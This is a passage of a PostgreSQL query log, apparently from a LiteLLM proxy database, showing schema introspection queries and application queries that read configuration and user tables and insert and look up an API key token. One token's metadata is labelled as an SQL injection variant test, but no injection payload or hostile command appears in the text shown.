column_order, CASE rawindex.indoption & 2 WHEN 2 THEN true ELSE false END AS nulls_first, pc.condeferrable AS condeferrable, pc.condeferred AS condeferred FROM rawindex INNER JOIN pg_class AS tableinfo ON tableinfo.oid = rawindex.indrelid INNER JOIN pg_class AS indexinfo ON indexinfo.oid = rawindex.indexrelid INNER JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace LEFT JOIN pg_attribute AS columninfo ON columninfo.attrelid = tableinfo.oid AND columninfo.attnum = rawindex.indkeyid INNER JOIN pg_am AS indexaccess ON indexaccess.oid = indexinfo.relam LEFT JOIN pg_opclass AS opclass -- left join because crdb has no opclasses ON opclass.oid = rawindex.indclass LEFT JOIN pg_constraint pc ON rawindex.indexrelid = pc.conindid AND pc.contype <> 'f' WHERE schemainfo.nspname = ANY ( $1 ) ORDER BY namespace, table_name, index_name, column_index; 2026-07-07 07:42:09.261 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.261 UTC [132987] LOG: execute s9: WITH rawindex AS ( SELECT indrelid, indexrelid, indisunique, indisprimary, unnest(indkey) AS indkeyid, generate_subscripts(indkey, 1) AS indkeyidx, unnest(indclass) AS indclass, unnest(indoption) AS indoption FROM pg_index -- https://www.postgresql.org/docs/current/catalog-pg-index.html WHERE indpred IS NULL -- filter out partial indexes AND NOT indisexclusion -- filter out exclusion constraints ) SELECT schemainfo.nspname AS namespace, indexinfo.relname AS index_name, tableinfo.relname AS table_name, columninfo.attname AS column_name, rawindex.indisunique AS is_unique, rawindex.indisprimary AS is_primary_key, rawindex.indkeyidx AS column_index, opclass.opcname AS opclass, opclass.opcdefault AS opcdefault, indexaccess.amname AS index_algo, CASE rawindex.indoption & 1 WHEN 1 THEN 'DESC' ELSE 'ASC' END AS column_order, CASE rawindex.indoption & 2 WHEN 2 THEN true ELSE false END AS nulls_first, pc.condeferrable AS condeferrable, pc.condeferred AS condeferred FROM rawindex INNER JOIN pg_class AS tableinfo ON tableinfo.oid = rawindex.indrelid INNER JOIN pg_class AS indexinfo ON indexinfo.oid = rawindex.indexrelid INNER JOIN pg_namespace AS schemainfo ON schemainfo.oid = tableinfo.relnamespace LEFT JOIN pg_attribute AS columninfo ON columninfo.attrelid = tableinfo.oid AND columninfo.attnum = rawindex.indkeyid INNER JOIN pg_am AS indexaccess ON indexaccess.oid = indexinfo.relam LEFT JOIN pg_opclass AS opclass -- left join because crdb has no opclasses ON opclass.oid = rawindex.indclass LEFT JOIN pg_constraint pc ON rawindex.indexrelid = pc.conindid AND pc.contype <> 'f' WHERE schemainfo.nspname = ANY ( $1 ) ORDER BY namespace, table_name, index_name, column_index; 2026-07-07 07:42:09.261 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.270 UTC [132987] LOG: duration: 8.558 ms 2026-07-07 07:42:09.271 UTC [132987] LOG: duration: 0.079 ms parse s10: SELECT p.proname AS name, n.nspname as namespace, CASE WHEN l.lanname = 'internal' THEN p.prosrc ELSE pg_get_functiondef(p.oid) END as definition FROM pg_proc p LEFT JOIN pg_namespace n ON p.pronamespace = n.oid LEFT JOIN pg_language l ON p.prolang = l.oid WHERE n.nspname = ANY ( $1 ) 2026-07-07 07:42:09.272 UTC [132987] LOG: duration: 1.313 ms bind s10: SELECT p.proname AS name, n.nspname as namespace, CASE WHEN l.lanname = 'internal' THEN p.prosrc ELSE pg_get_functiondef(p.oid) END as definition FROM pg_proc p LEFT JOIN pg_namespace n ON p.pronamespace = n.oid LEFT JOIN pg_language l ON p.prolang = l.oid WHERE n.nspname = ANY ( $1 ) 2026-07-07 07:42:09.272 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.272 UTC [132987] LOG: execute s10: SELECT p.proname AS name, n.nspname as namespace, CASE WHEN l.lanname = 'internal' THEN p.prosrc ELSE pg_get_functiondef(p.oid) END as definition FROM pg_proc p LEFT JOIN pg_namespace n ON p.pronamespace = n.oid LEFT JOIN pg_language l ON p.prolang = l.oid WHERE n.nspname = ANY ( $1 ) 2026-07-07 07:42:09.272 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.274 UTC [132987] LOG: duration: 1.635 ms 2026-07-07 07:42:09.274 UTC [132987] LOG: duration: 0.053 ms parse s11: SELECT ext.extname AS extension_name, ext.extversion AS extension_version, ext.extrelocatable AS extension_relocatable, pn.nspname AS extension_schema FROM pg_extension ext INNER JOIN pg_namespace pn ON ext.extnamespace = pn.oid ORDER BY ext.extname ASC 2026-07-07 07:42:09.275 UTC [132987] LOG: duration: 0.778 ms bind s11: SELECT ext.extname AS extension_name, ext.extversion AS extension_version, ext.extrelocatable AS extension_relocatable, pn.nspname AS extension_schema FROM pg_extension ext INNER JOIN pg_namespace pn ON ext.extnamespace = pn.oid ORDER BY ext.extname ASC 2026-07-07 07:42:09.275 UTC [132987] LOG: execute s11: SELECT ext.extname AS extension_name, ext.extversion AS extension_version, ext.extrelocatable AS extension_relocatable, pn.nspname AS extension_schema FROM pg_extension ext INNER JOIN pg_namespace pn ON ext.extnamespace = pn.oid ORDER BY ext.extname ASC 2026-07-07 07:42:09.275 UTC [132987] LOG: duration: 0.268 ms 2026-07-07 07:42:09.276 UTC [132987] LOG: duration: 0.466 ms parse s12: SELECT sequence_name, sequence_schema AS namespace, start_value::INT8, minimum_value::INT8 AS min_value, maximum_value::INT8 AS max_value, increment::INT8 AS increment_by, (CASE cycle_option WHEN 'yes' THEN TRUE ELSE FALSE END) AS cycle, 0::INT8 AS cache_size FROM information_schema.sequences WHERE sequence_schema = ANY ( $1 ) ORDER BY sequence_name 2026-07-07 07:42:09.276 UTC [132987] LOG: duration: 0.242 ms bind s12: SELECT sequence_name, sequence_schema AS namespace, start_value::INT8, minimum_value::INT8 AS min_value, maximum_value::INT8 AS max_value, increment::INT8 AS increment_by, (CASE cycle_option WHEN 'yes' THEN TRUE ELSE FALSE END) AS cycle, 0::INT8 AS cache_size FROM information_schema.sequences WHERE sequence_schema = ANY ( $1 ) ORDER BY sequence_name 2026-07-07 07:42:09.276 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.276 UTC [132987] LOG: execute s12: SELECT sequence_name, sequence_schema AS namespace, start_value::INT8, minimum_value::INT8 AS min_value, maximum_value::INT8 AS max_value, increment::INT8 AS increment_by, (CASE cycle_option WHEN 'yes' THEN TRUE ELSE FALSE END) AS cycle, 0::INT8 AS cache_size FROM information_schema.sequences WHERE sequence_schema = ANY ( $1 ) ORDER BY sequence_name 2026-07-07 07:42:09.276 UTC [132987] DETAIL: Parameters: $1 = '{public}' 2026-07-07 07:42:09.277 UTC [132987] LOG: duration: 0.598 ms 2026-07-07 07:42:12.971 UTC [133036] LOG: duration: 0.238 ms parse s0: SELECT 1 2026-07-07 07:42:12.972 UTC [133036] LOG: duration: 0.076 ms bind s0: SELECT 1 2026-07-07 07:42:12.972 UTC [133036] LOG: execute s0: SELECT 1 2026-07-07 07:42:12.972 UTC [133036] LOG: duration: 0.015 ms 2026-07-07 07:42:12.977 UTC [133043] LOG: duration: 0.381 ms parse s1: SELECT reltuples::BIGINT FROM pg_class WHERE oid = '"LiteLLM_SpendLogs"'::regclass; 2026-07-07 07:42:12.978 UTC [133043] LOG: duration: 0.344 ms bind s1: SELECT reltuples::BIGINT FROM pg_class WHERE oid = '"LiteLLM_SpendLogs"'::regclass; 2026-07-07 07:42:12.978 UTC [133043] LOG: execute s1: SELECT reltuples::BIGINT FROM pg_class WHERE oid = '"LiteLLM_SpendLogs"'::regclass; 2026-07-07 07:42:12.978 UTC [133043] LOG: duration: 0.017 ms 2026-07-07 07:42:12.978 UTC [133042] LOG: duration: 1.294 ms parse s2: WITH existing_views AS ( SELECT viewname FROM pg_views WHERE schemaname = 'public' AND viewname IN ( 'LiteLLM_VerificationTokenView', 'MonthlyGlobalSpend', 'Last30dKeysBySpend', 'Last30dModelsBySpend', 'MonthlyGlobalSpendPerKey', 'MonthlyGlobalSpendPerUserPerKey', 'Last30dTopEndUsersSpend', 'DailyTagSpend' ) ) SELECT (SELECT COUNT(*) FROM existing_views) AS view_count, ARRAY_AGG(viewname) AS view_names FROM existing_views 2026-07-07 07:42:12.979 UTC [133043] LOG: duration: 0.122 ms parse s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.979 UTC [133042] LOG: duration: 0.690 ms bind s2: WITH existing_views AS ( SELECT viewname FROM pg_views WHERE schemaname = 'public' AND viewname IN ( 'LiteLLM_VerificationTokenView', 'MonthlyGlobalSpend', 'Last30dKeysBySpend', 'Last30dModelsBySpend', 'MonthlyGlobalSpendPerKey', 'MonthlyGlobalSpendPerUserPerKey', 'Last30dTopEndUsersSpend', 'DailyTagSpend' ) ) SELECT (SELECT COUNT(*) FROM existing_views) AS view_count, ARRAY_AGG(viewname) AS view_names FROM existing_views 2026-07-07 07:42:12.979 UTC [133042] LOG: execute s2: WITH existing_views AS ( SELECT viewname FROM pg_views WHERE schemaname = 'public' AND viewname IN ( 'LiteLLM_VerificationTokenView', 'MonthlyGlobalSpend', 'Last30dKeysBySpend', 'Last30dModelsBySpend', 'MonthlyGlobalSpendPerKey', 'MonthlyGlobalSpendPerUserPerKey', 'Last30dTopEndUsersSpend', 'DailyTagSpend' ) ) SELECT (SELECT COUNT(*) FROM existing_views) AS view_count, ARRAY_AGG(viewname) AS view_names FROM existing_views 2026-07-07 07:42:12.979 UTC [133042] LOG: duration: 0.049 ms 2026-07-07 07:42:12.979 UTC [133043] LOG: duration: 0.366 ms bind s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.979 UTC [133043] DETAIL: Parameters: $1 = 'general_settings', $2 = '1', $3 = '0' 2026-07-07 07:42:12.979 UTC [133043] LOG: execute s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.979 UTC [133043] DETAIL: Parameters: $1 = 'general_settings', $2 = '1', $3 = '0' 2026-07-07 07:42:12.979 UTC [133043] LOG: duration: 0.016 ms 2026-07-07 07:42:12.979 UTC [133036] LOG: duration: 0.262 ms parse s4: SELECT "public"."LiteLLM_UserTable"."user_id", "public"."LiteLLM_UserTable"."user_alias", "public"."LiteLLM_UserTable"."team_id", "public"."LiteLLM_UserTable"."sso_user_id", "public"."LiteLLM_UserTable"."organization_id", "public"."LiteLLM_UserTable"."object_permission_id", "public"."LiteLLM_UserTable"."password", "public"."LiteLLM_UserTable"."teams", "public"."LiteLLM_UserTable"."user_role", "public"."LiteLLM_UserTable"."max_budget", "public"."LiteLLM_UserTable"."spend", "public"."LiteLLM_UserTable"."user_email", "public"."LiteLLM_UserTable"."models", "public"."LiteLLM_UserTable"."metadata", "public"."LiteLLM_UserTable"."max_parallel_requests", "public"."LiteLLM_UserTable"."tpm_limit", "public"."LiteLLM_UserTable"."rpm_limit", "public"."LiteLLM_UserTable"."budget_duration", "public"."LiteLLM_UserTable"."budget_reset_at", "public"."LiteLLM_UserTable"."allowed_cache_controls", "public"."LiteLLM_UserTable"."policies", "public"."LiteLLM_UserTable"."model_spend", "public"."LiteLLM_UserTable"."model_max_budget", "public"."LiteLLM_UserTable"."created_at", "public"."LiteLLM_UserTable"."updated_at" FROM "public"."LiteLLM_UserTable" WHERE "public"."LiteLLM_UserTable"."password" IS NOT NULL OFFSET $1 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.980 UTC [133036] LOG: duration: 0.650 ms bind s4: SELECT "public"."LiteLLM_UserTable"."user_id", "public"."LiteLLM_UserTable"."user_alias", "public"."LiteLLM_UserTable"."team_id", "public"."LiteLLM_UserTable"."sso_user_id", "public"."LiteLLM_UserTable"."organization_id", "public"."LiteLLM_UserTable"."object_permission_id", "public"."LiteLLM_UserTable"."password", "public"."LiteLLM_UserTable"."teams", "public"."LiteLLM_UserTable"."user_role", "public"."LiteLLM_UserTable"."max_budget", "public"."LiteLLM_UserTable"."spend", "public"."LiteLLM_UserTable"."user_email", "public"."LiteLLM_UserTable"."models", "public"."LiteLLM_UserTable"."metadata", "public"."LiteLLM_UserTable"."max_parallel_requests", "public"."LiteLLM_UserTable"."tpm_limit", "public"."LiteLLM_UserTable"."rpm_limit", "public"."LiteLLM_UserTable"."budget_duration", "public"."LiteLLM_UserTable"."budget_reset_at", "public"."LiteLLM_UserTable"."allowed_cache_controls", "public"."LiteLLM_UserTable"."policies", "public"."LiteLLM_UserTable"."model_spend", "public"."LiteLLM_UserTable"."model_max_budget", "public"."LiteLLM_UserTable"."created_at", "public"."LiteLLM_UserTable"."updated_at" FROM "public"."LiteLLM_UserTable" WHERE "public"."LiteLLM_UserTable"."password" IS NOT NULL OFFSET $1 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.980 UTC [133036] DETAIL: Parameters: $1 = '0' 2026-07-07 07:42:12.980 UTC [133036] LOG: execute s4: SELECT "public"."LiteLLM_UserTable"."user_id", "public"."LiteLLM_UserTable"."user_alias", "public"."LiteLLM_UserTable"."team_id", "public"."LiteLLM_UserTable"."sso_user_id", "public"."LiteLLM_UserTable"."organization_id", "public"."LiteLLM_UserTable"."object_permission_id", "public"."LiteLLM_UserTable"."password", "public"."LiteLLM_UserTable"."teams", "public"."LiteLLM_UserTable"."user_role", "public"."LiteLLM_UserTable"."max_budget", "public"."LiteLLM_UserTable"."spend", "public"."LiteLLM_UserTable"."user_email", "public"."LiteLLM_UserTable"."models", "public"."LiteLLM_UserTable"."metadata", "public"."LiteLLM_UserTable"."max_parallel_requests", "public"."LiteLLM_UserTable"."tpm_limit", "public"."LiteLLM_UserTable"."rpm_limit", "public"."LiteLLM_UserTable"."budget_duration", "public"."LiteLLM_UserTable"."budget_reset_at", "public"."LiteLLM_UserTable"."allowed_cache_controls", "public"."LiteLLM_UserTable"."policies", "public"."LiteLLM_UserTable"."model_spend", "public"."LiteLLM_UserTable"."model_max_budget", "public"."LiteLLM_UserTable"."created_at", "public"."LiteLLM_UserTable"."updated_at" FROM "public"."LiteLLM_UserTable" WHERE "public"."LiteLLM_UserTable"."password" IS NOT NULL OFFSET $1 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.980 UTC [133036] DETAIL: Parameters: $1 = '0' 2026-07-07 07:42:12.980 UTC [133036] LOG: duration: 0.012 ms 2026-07-07 07:42:12.980 UTC [133043] LOG: duration: 0.068 ms bind s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.980 UTC [133043] DETAIL: Parameters: $1 = 'cloudzero_settings', $2 = '1', $3 = '0' 2026-07-07 07:42:12.980 UTC [133043] LOG: execute s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.980 UTC [133043] DETAIL: Parameters: $1 = 'cloudzero_settings', $2 = '1', $3 = '0' 2026-07-07 07:42:12.980 UTC [133043] LOG: duration: 0.008 ms 2026-07-07 07:42:12.981 UTC [133043] LOG: duration: 0.055 ms bind s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.981 UTC [133043] DETAIL: Parameters: $1 = 'vantage_settings', $2 = '1', $3 = '0' 2026-07-07 07:42:12.981 UTC [133043] LOG: execute s3: SELECT "public"."LiteLLM_Config"."param_name", "public"."LiteLLM_Config"."param_value" FROM "public"."LiteLLM_Config" WHERE "public"."LiteLLM_Config"."param_name" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.981 UTC [133043] DETAIL: Parameters: $1 = 'vantage_settings', $2 = '1', $3 = '0' 2026-07-07 07:42:12.981 UTC [133043] LOG: duration: 0.008 ms 2026-07-07 07:42:12.983 UTC [133043] LOG: duration: 0.099 ms parse s5: SELECT "public"."LiteLLM_UISettings"."id", "public"."LiteLLM_UISettings"."ui_settings", "public"."LiteLLM_UISettings"."created_at", "public"."LiteLLM_UISettings"."updated_at" FROM "public"."LiteLLM_UISettings" WHERE ("public"."LiteLLM_UISettings"."id" = $1 AND 1=1) LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.983 UTC [133043] LOG: duration: 0.282 ms bind s5: SELECT "public"."LiteLLM_UISettings"."id", "public"."LiteLLM_UISettings"."ui_settings", "public"."LiteLLM_UISettings"."created_at", "public"."LiteLLM_UISettings"."updated_at" FROM "public"."LiteLLM_UISettings" WHERE ("public"."LiteLLM_UISettings"."id" = $1 AND 1=1) LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.983 UTC [133043] DETAIL: Parameters: $1 = 'ui_settings', $2 = '1', $3 = '0' 2026-07-07 07:42:12.983 UTC [133043] LOG: execute s5: SELECT "public"."LiteLLM_UISettings"."id", "public"."LiteLLM_UISettings"."ui_settings", "public"."LiteLLM_UISettings"."created_at", "public"."LiteLLM_UISettings"."updated_at" FROM "public"."LiteLLM_UISettings" WHERE ("public"."LiteLLM_UISettings"."id" = $1 AND 1=1) LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:12.983 UTC [133043] DETAIL: Parameters: $1 = 'ui_settings', $2 = '1', $3 = '0' 2026-07-07 07:42:12.983 UTC [133043] LOG: duration: 0.011 ms 2026-07-07 07:42:14.219 UTC [133043] LOG: statement: BEGIN 2026-07-07 07:42:14.219 UTC [133043] LOG: duration: 0.075 ms 2026-07-07 07:42:14.219 UTC [133043] LOG: duration: 0.227 ms parse s6: SELECT "public"."LiteLLM_VerificationToken"."token" FROM "public"."LiteLLM_VerificationToken" WHERE ("public"."LiteLLM_VerificationToken"."token" = $1 AND 1=1) OFFSET $2 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:14.220 UTC [133043] LOG: duration: 0.285 ms bind s6: SELECT "public"."LiteLLM_VerificationToken"."token" FROM "public"."LiteLLM_VerificationToken" WHERE ("public"."LiteLLM_VerificationToken"."token" = $1 AND 1=1) OFFSET $2 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:14.220 UTC [133043] DETAIL: Parameters: $1 = 'c1317d3a0b3d846040a7b44bbfecd64af1477d19d1256da110ab3aa626381a35', $2 = '0' 2026-07-07 07:42:14.220 UTC [133043] LOG: execute s6: SELECT "public"."LiteLLM_VerificationToken"."token" FROM "public"."LiteLLM_VerificationToken" WHERE ("public"."LiteLLM_VerificationToken"."token" = $1 AND 1=1) OFFSET $2 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:14.220 UTC [133043] DETAIL: Parameters: $1 = 'c1317d3a0b3d846040a7b44bbfecd64af1477d19d1256da110ab3aa626381a35', $2 = '0' 2026-07-07 07:42:14.220 UTC [133043] LOG: duration: 0.321 ms 2026-07-07 07:42:14.220 UTC [133043] LOG: duration: 0.122 ms parse s7: INSERT INTO "public"."LiteLLM_VerificationToken" ("token","key_name","key_alias","soft_budget_cooldown","spend","expires","models","aliases","config","router_settings","user_id","team_id","agent_id","project_id","permissions","max_parallel_requests","metadata","blocked","tpm_limit","rpm_limit","max_budget","budget_duration","budget_reset_at","allowed_cache_controls","allowed_routes","policies","access_group_ids","model_spend","model_max_budget","budget_id","organization_id","object_permission_id","created_at","created_by","updated_at","updated_by","rotation_count","auto_rotate") VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32,$33,$34,$35,$36,$37,$38) RETURNING "public"."LiteLLM_VerificationToken"."token" /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:14.220 UTC [133043] LOG: duration: 0.063 ms bind s7: INSERT INTO "public"."LiteLLM_VerificationToken" ("token","key_name","key_alias","soft_budget_cooldown","spend","expires","models","aliases","config","router_settings","user_id","team_id","agent_id","project_id","permissions","max_parallel_requests","metadata","blocked","tpm_limit","rpm_limit","max_budget","budget_duration","budget_reset_at","allowed_cache_controls","allowed_routes","policies","access_group_ids","model_spend","model_max_budget","budget_id","organization_id","object_permission_id","created_at","created_by","updated_at","updated_by","rotation_count","auto_rotate") VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32,$33,$34,$35,$36,$37,$38) RETURNING "public"."LiteLLM_VerificationToken"."token" /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:14.220 UTC [133043] DETAIL: Parameters: $1 = 'c1317d3a0b3d846040a7b44bbfecd64af1477d19d1256da110ab3aa626381a35', $2 = 'sk-...iL0w', $3 = NULL, $4 = 'f', $5 = '0', $6 = NULL, $7 = '{gpt-4o}', $8 = '{}', $9 = '{}', $10 = '{}', $11 = NULL, $12 = NULL, $13 = NULL, $14 = NULL, $15 = '{}', $16 = NULL, $17 = '{"purpose": "pruva-sqli-variant"}', $18 = NULL, $19 = NULL, $20 = NULL, $21 = NULL, $22 = NULL, $23 = NULL, $24 = '{}', $25 = '{}', $26 = '{}', $27 = '{}', $28 = '{}', $29 = '{}', $30 = NULL, $31 = NULL, $32 = NULL, $33 = '2026-07-07 07:42:14.218', $34 = 'default_user_id', $35 = '2026-07-07 07:42:14.218', $36 = 'default_user_id', $37 = '0', $38 = 'f' 2026-07-07 07:42:14.220 UTC [133043] LOG: execute s7: INSERT INTO "public"."LiteLLM_VerificationToken" ("token","key_name","key_alias","soft_budget_cooldown","spend","expires","models","aliases","config","router_settings","user_id","team_id","agent_id","project_id","permissions","max_parallel_requests","metadata","blocked","tpm_limit","rpm_limit","max_budget","budget_duration","budget_reset_at","allowed_cache_controls","allowed_routes","policies","access_group_ids","model_spend","model_max_budget","budget_id","organization_id","object_permission_id","created_at","created_by","updated_at","updated_by","rotation_count","auto_rotate") VALUES ($1,$2,$3,$4,$5,$6,$7,$8,$9,$10,$11,$12,$13,$14,$15,$16,$17,$18,$19,$20,$21,$22,$23,$24,$25,$26,$27,$28,$29,$30,$31,$32,$33,$34,$35,$36,$37,$38) RETURNING "public"."LiteLLM_VerificationToken"."token" /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:14.220 UTC [133043] DETAIL: Parameters: $1 = 'c1317d3a0b3d846040a7b44bbfecd64af1477d19d1256da110ab3aa626381a35', $2 = 'sk-...iL0w', $3 = NULL, $4 = 'f', $5 = '0', $6 = NULL, $7 = '{gpt-4o}', $8 = '{}', $9 = '{}', $10 = '{}', $11 = NULL, $12 = NULL, $13 = NULL, $14 = NULL, $15 = '{}', $16 = NULL, $17 = '{"purpose": "pruva-sqli-variant"}', $18 = NULL, $19 = NULL, $20 = NULL, $21 = NULL, $22 = NULL, $23 = NULL, $24 = '{}', $25 = '{}', $26 = '{}', $27 = '{}', $28 = '{}', $29 = '{}', $30 = NULL, $31 = NULL, $32 = NULL, $33 = '2026-07-07 07:42:14.218', $34 = 'default_user_id', $35 = '2026-07-07 07:42:14.218', $36 = 'default_user_id', $37 = '0', $38 = 'f' 2026-07-07 07:42:14.221 UTC [133043] LOG: duration: 0.790 ms 2026-07-07 07:42:14.222 UTC [133043] LOG: duration: 0.069 ms parse s8: SELECT "public"."LiteLLM_VerificationToken"."token", "public"."LiteLLM_VerificationToken"."key_name", "public"."LiteLLM_VerificationToken"."key_alias", "public"."LiteLLM_VerificationToken"."soft_budget_cooldown", "public"."LiteLLM_VerificationToken"."spend", "public"."LiteLLM_VerificationToken"."expires", "public"."LiteLLM_VerificationToken"."models", "public"."LiteLLM_VerificationToken"."aliases", "public"."LiteLLM_VerificationToken"."config", "public"."LiteLLM_VerificationToken"."router_settings", "public"."LiteLLM_VerificationToken"."user_id", "public"."LiteLLM_VerificationToken"."team_id", "public"."LiteLLM_VerificationToken"."agent_id", "public"."LiteLLM_VerificationToken"."project_id", "public"."LiteLLM_VerificationToken"."permissions", "public"."LiteLLM_VerificationToken"."max_parallel_requests", "public"."LiteLLM_VerificationToken"."metadata", "public"."LiteLLM_VerificationToken"."blocked", "public"."LiteLLM_VerificationToken"."tpm_limit", "public"."LiteLLM_VerificationToken"."rpm_limit", "public"."LiteLLM_VerificationToken"."max_budget", "public"."LiteLLM_VerificationToken"."budget_duration", "public"."LiteLLM_VerificationToken"."budget_reset_at", "public"."LiteLLM_VerificationToken"."allowed_cache_controls", "public"."LiteLLM_VerificationToken"."allowed_routes", "public"."LiteLLM_VerificationToken"."policies", "public"."LiteLLM_VerificationToken"."access_group_ids", "public"."LiteLLM_VerificationToken"."model_spend", "public"."LiteLLM_VerificationToken"."model_max_budget", "public"."LiteLLM_VerificationToken"."budget_id", "public"."LiteLLM_VerificationToken"."organization_id", "public"."LiteLLM_VerificationToken"."object_permission_id", "public"."LiteLLM_VerificationToken"."created_at", "public"."LiteLLM_VerificationToken"."created_by", "public"."LiteLLM_VerificationToken"."updated_at", "public"."LiteLLM_VerificationToken"."updated_by", "public"."LiteLLM_VerificationToken"."last_active", "public"."LiteLLM_VerificationToken"."rotation_count", "public"."LiteLLM_VerificationToken"."auto_rotate", "public"."LiteLLM_VerificationToken"."rotation_interval", "public"."LiteLLM_VerificationToken"."last_rotation_at", "public"."LiteLLM_VerificationToken"."key_rotation_at" FROM "public"."LiteLLM_VerificationToken" WHERE "public"."LiteLLM_VerificationToken"."token" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:14.222 UTC [133043] LOG: duration: 0.060 ms bind s8: SELECT "public"."LiteLLM_VerificationToken"."token", "public"."LiteLLM_VerificationToken"."key_name", "public"."LiteLLM_VerificationToken"."key_alias", "public"."LiteLLM_VerificationToken"."soft_budget_cooldown", "public"."LiteLLM_VerificationToken"."spend", "public"."LiteLLM_VerificationToken"."expires", "public"."LiteLLM_VerificationToken"."models", "public"."LiteLLM_VerificationToken"."aliases", "public"."LiteLLM_VerificationToken"."config", "public"."LiteLLM_VerificationToken"."router_settings", "public"."LiteLLM_VerificationToken"."user_id", "public"."LiteLLM_VerificationToken"."team_id", "public"."LiteLLM_VerificationToken"."agent_id", "public"."LiteLLM_VerificationToken"."project_id", "public"."LiteLLM_VerificationToken"."permissions", "public"."LiteLLM_VerificationToken"."max_parallel_requests", "public"."LiteLLM_VerificationToken"."metadata", "public"."LiteLLM_VerificationToken"."blocked", "public"."LiteLLM_VerificationToken"."tpm_limit", "public"."LiteLLM_VerificationToken"."rpm_limit", "public"."LiteLLM_VerificationToken"."max_budget", "public"."LiteLLM_VerificationToken"."budget_duration", "public"."LiteLLM_VerificationToken"."budget_reset_at", "public"."LiteLLM_VerificationToken"."allowed_cache_controls", "public"."LiteLLM_VerificationToken"."allowed_routes", "public"."LiteLLM_VerificationToken"."policies", "public"."LiteLLM_VerificationToken"."access_group_ids", "public"."LiteLLM_VerificationToken"."model_spend", "public"."LiteLLM_VerificationToken"."model_max_budget", "public"."LiteLLM_VerificationToken"."budget_id", "public"."LiteLLM_VerificationToken"."organization_id", "public"."LiteLLM_VerificationToken"."object_permission_id", "public"."LiteLLM_VerificationToken"."created_at", "public"."LiteLLM_VerificationToken"."created_by", "public"."LiteLLM_VerificationToken"."updated_at", "public"."LiteLLM_VerificationToken"."updated_by", "public"."LiteLLM_VerificationToken"."last_active", "public"."LiteLLM_VerificationToken"."rotation_count", "public"."LiteLLM_VerificationToken"."auto_rotate", "public"."LiteLLM_VerificationToken"."rotation_interval", "public"."LiteLLM_VerificationToken"."last_rotation_at", "public"."LiteLLM_VerificationToken"."key_rotation_at" FROM "public"."LiteLLM_VerificationToken" WHERE "public"."LiteLLM_VerificationToken"."token" = $1 LIMIT $2 OFFSET $3 /* traceparent=00-00000000000000000000000000000000-0000000000000000-01 */ 2026-07-07 07:42:14.222 UTC [133043] DETAIL: Parameters: $1 = 'c1317d3a0b3d846040a7b44bbfecd64af1477d19d1256da110ab3aa626381a35', $2 = '1', $3 = '0' 2026-07-07 07:42:14.222 UTC [133043] LOG: execute s8: SELECT "public"."LiteLLM_VerificationToken"."token", "public"."LiteLLM_VerificationToken"."key_name", "public"."LiteLLM_VerificationToken"."key_alias", 